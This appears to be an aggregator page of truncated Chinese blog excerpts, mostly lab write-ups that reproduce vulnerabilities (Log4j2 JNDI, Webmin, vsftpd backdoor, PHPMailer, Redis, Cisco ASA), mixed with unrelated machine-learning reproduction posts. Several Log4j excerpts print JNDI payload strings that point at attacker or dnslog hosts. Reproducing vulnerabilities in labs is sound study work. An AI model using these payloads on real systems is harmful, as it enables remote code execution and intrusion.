文章目录 EM期望极大算法（expectation maximization algorithm）numpy复现 EM期望极大算法（expectation maximization algorithm） 用于含有隐变量 （hidden variable）的概率模型参数的极大似然估计，或极大后验概率估计。EM算法的每 次迭代由两步组成： E步，求期望（expectation）；M步，
漏洞简介 webmin是一款强大的Unix系统管理工具，在其版本为1.882到1.920存在CVE-2019-15107漏洞，当版本为1.890时，工具在默认配置下易受漏洞的威胁，而在其它版本当用户关闭密码过期策略时，受漏洞威胁的概率较小，漏洞主要是起代码中引用‘qx/ /’方法，把密码字符串当作命令执行 漏洞环境
首先这里需要搭建一个cms的平台得到： 利用D盾进行漏洞扫描得到： 5级的eval后门漏洞 可以看到这里有一个5级的eval后门漏洞，我们查看文件得到源码： 这是一句话后门，我们利用一下这个后门得到： 这里能cat flag 修补增加过滤或者删除漏洞 2级的fwrite审计： 利用seay工具进行代码审
了解关于漏洞的描述，可以参考Vulnerability Affecting Multiple Log4j Versions Permits RCE Exploit 根据文章描述，首先下载JDK1.8u102，不能高于这个版本。 通过如下pom.xml建立一个maven项目 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/
声明：没研究过Java漏洞，有错误的地方一定要告诉我！！原理我也没有继续跟。 01 分析 师傅带着理了一遍，思路清晰了。 一句话总结就是：让引用了log4j的漏洞类，然后把${jndi:ldap://hackserver/xxxxxx}当作参数传到log4j的log.error ，就会通过动态的远程加载我们精心构造的一个恶意类，恶意类编
复现现象： 这个镜像使用了log4j2用来当做靶机程序 1、拉取一个docker镜像 docker pull vulfocus/log4j2-rce-2021-12-09 2、跑起来docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 3、进入这个平台 https://log.xn–9tr.com/ 点击获取一个域名 4、执行一个pos
笑脸漏洞复现 工具： 攻击机：kali 192.168.79.128 靶机：Metasplotable2-Linux 192.168.79.131 复现过程 打开 kali 终端，执行以下命令：nmap 主机IP/24 发现靶机 (192.168.118.131) 打开着 21 端口 输入命令：nmap -sV 靶机IP 可以看到靶机的ftp服务的版本信息是vsftpd 2.
0x00 前言 复现学习 0x01 漏洞复现 环境搭建参考这篇blog，主要是在ueditor主目录创建WEB-INF/lib，并将jar包移到该lib下，启动tomcat服务器。 请求内网服务器地址 0x02 漏洞原理 该ssrf属于过滤规则不严谨导致可以任意请求内网地址。 先看看controller.jsp，请求进来时，调用 ActionEnt
PHPMailer远程命令执行漏洞复现 漏洞简介: PHPMailer是PHP电子邮件创建及传输类，用于多个开源项目：WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等。 PHPMailer < 5.2.18版本存在安全漏洞，可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码，远程控制目标web应
Log4j2远程命令执行复现 Log4j2远程命令执行复现一、漏洞环境二、漏洞验证三、反弹shell 一、漏洞环境 环境是http://vulfocus.fofa.so平台的 二、漏洞验证 启动环境后访问 抓包，修改请求为post 在数据中的Accept:头插入exp ${jndi:ldap://8hqrxz.dnslog.cn} 成功回
0x00 介绍 Log4j2是Java开发常用的日志框架，该漏洞触发条件低，危害大，由阿里云安全团队报告 分配CVE编号：CVE-2021-44228 CVSS评分：10.0（最高只能10分） POC比较简单 public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1:1389/bad
主题：【复现任务】织梦CMS前台任意用户密码修改漏洞 漏洞概述 1 简介 织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名，是国内最知名的 PHP 开源网站管理系统，也是使用用户最多的 PHP 类 CMS 系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和
第一步拉进火绒安全工具进行分析 查看相关dll 进一步查看到日志路径 {UsersRoot}\AppData\Roaming\Typora\typora.log 按照吾爱上面的教程来看大佬是购买了正版 然后License进行查看分析 以下为搬运 1. 在报错log中发现 有app.asar 于是大佬进行解包 我下载了github上对应
pom.xml 中: <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>l
今天写这篇文章着实有些无奈，很多文章都是分析Hashmap 死锁问题，包括著名的：左耳朵耗子 疫苗：Java HashMap的死循环 | 酷 壳 - CoolShell @左耳朵耗子 这篇文章开头描述了问题，但是并没有给复现，我自己多番测试也暂时还没有复现，而网上都是各种copy 文章，这也许就是技术的无奈吧。
https://mp.weixin.qq.com/s/WSGh6hz8bXVcOyjmk0Ud5Q 何恺明一作论文 MAE 已有人复现！Pytorch版 AI派 2021-11-30 09:17 仅作学术分享，不代表本公众号立场，侵权联系删除 转载于：AI算法与图像处理 复现代码： https://github.com/pengzhiliang/MAE-pytorch 何恺明大佬新作一发出来，知乎
环境搭建 漏洞在yii2.0.38之前的版本,下载2.0.37basic版本 https://github.com/yiisoft/yii2/releases/tag/2.0.37 修改/config/web文件的值 在当前目录输入php yii serve启动 复现 先构造反序列化的入口 新建一个controller <?php namespace app\controllers; class
简介 Redis 默认情况下，会绑定在本地6379端口，如果没有进行相关策略，会将 Redis 服务暴露到公网上，在没有设置密码认证（默认为空)的情况下，任意用户在可以访问目标服务器的情况下未授权访问Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis
DenseNet 1. ResNet 与 DenseNet ResNet（深度残差网络，Deep residual network, ResNet）：通过建立前面层与后面层之间的“短路连接”，这有助于训练过程中梯度的反向传播，从而能训练出更深的CNN网络。 DenseNet：采用密集连接机制，即互相连接所有的层，每个层都会与前面所有层在channel维
Day01中的数值化代码其实并不能成功运行，原因在于Python3.8里time.clock()用法已经被移除，于是我找到了Python time time()方法 | 菜鸟教程 (runoob.com)使用time.time()函数替代time.clock即可。Python time.time() 返回当前时间的时间戳（1970纪元后经过的浮点秒数）,使用时需要import
靶机下载：https://www.five86.com/ 一、主机扫描 （kali作为攻击机和DC靶机都做了NAT地址，都在同一网段中） 1.利用 arp-scan -l 命令扫描同网段内的其他存活主机。 2.利用nmap工具来对目标靶机进行探测 nmap -A 192.168.1.131 -p- 或者：nmap -p 1-65535 -A -sV 192.168.1.131 发现开
设置随机种子复现Pytorch、TensorFlow结果 有时候在我们的学习过程中，我们对同一个代码怎么进行比较，怎么复现别人的结果 然后我就想，因为我希望我的结果是可复现的，而不是很随机的，这样可以让人复现结果的时候更加容易，也更加方便 这里我只记录了两个框架的，其中如果利用TensorFlow
一、前言 前端时间碰到了该漏洞，记录一下！ 二、漏洞介绍 该漏洞为思科ASA设备和FTD设备的未授权任意文件读取漏洞，但仅能读取到WEB目录下的文件，影响版本如下： Cisco ASA：<= 9.6 Cisco ASA：9.7 , 9.8 , 9.9 , 9.10 , 9.12 , 9.13 , 9.14 Cisco FTD：6.2.2 , 6.2.3 ,
靶场搭建过程很简单，不会自行百度。我这里略过。 靶场源码地址：github.com/c0ny1/upload-labs 我这里为了方便，就下载了靶主已经集成配置好的环境进行本地搭建。地址：github.com/c0ny1/upload-labs/releases 本地搭建好是下面这个页面： 文件上传简介 文件上传（一） 在现代互联网的许
Alpha冲刺(1/3) 已经完成的工作 1.AI研习社冠军代码复现: 该代码基于PyTorch框架。目前已经成功复现该代码(基于EfficientNetB3)，且利用Colab平台提供的GPU资源完成了10个epoch的训练。当前达到的最高精度是87.875% 另外，由于Colab提供的GPU资源有限(每当连续使用4h就要禁用24h)，另
